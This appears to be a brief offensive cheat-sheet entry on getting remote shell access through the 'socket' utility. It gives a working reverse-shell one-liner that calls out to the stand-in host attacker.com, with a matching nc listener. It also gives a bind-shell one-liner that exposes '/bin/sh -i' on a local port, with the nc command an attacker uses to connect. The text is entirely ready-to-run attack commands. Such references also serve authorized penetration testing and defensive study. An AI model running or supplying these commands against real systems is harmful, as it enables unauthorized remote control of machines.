It can send back a reverse shell to a listening attacker to open a remote network access.
nc -l -p 12345 on the attacker box to receive the shell.
RHOST=attacker.com RPORT=12345 socket -qvp '/bin/sh -i' $RHOST $RPORT
It can bind a shell to a local port to allow remote network access.
nc target.com 12345 on the attacker box to connect to the shell.
LPORT=12345 socket -svp '/bin/sh -i' $LPORT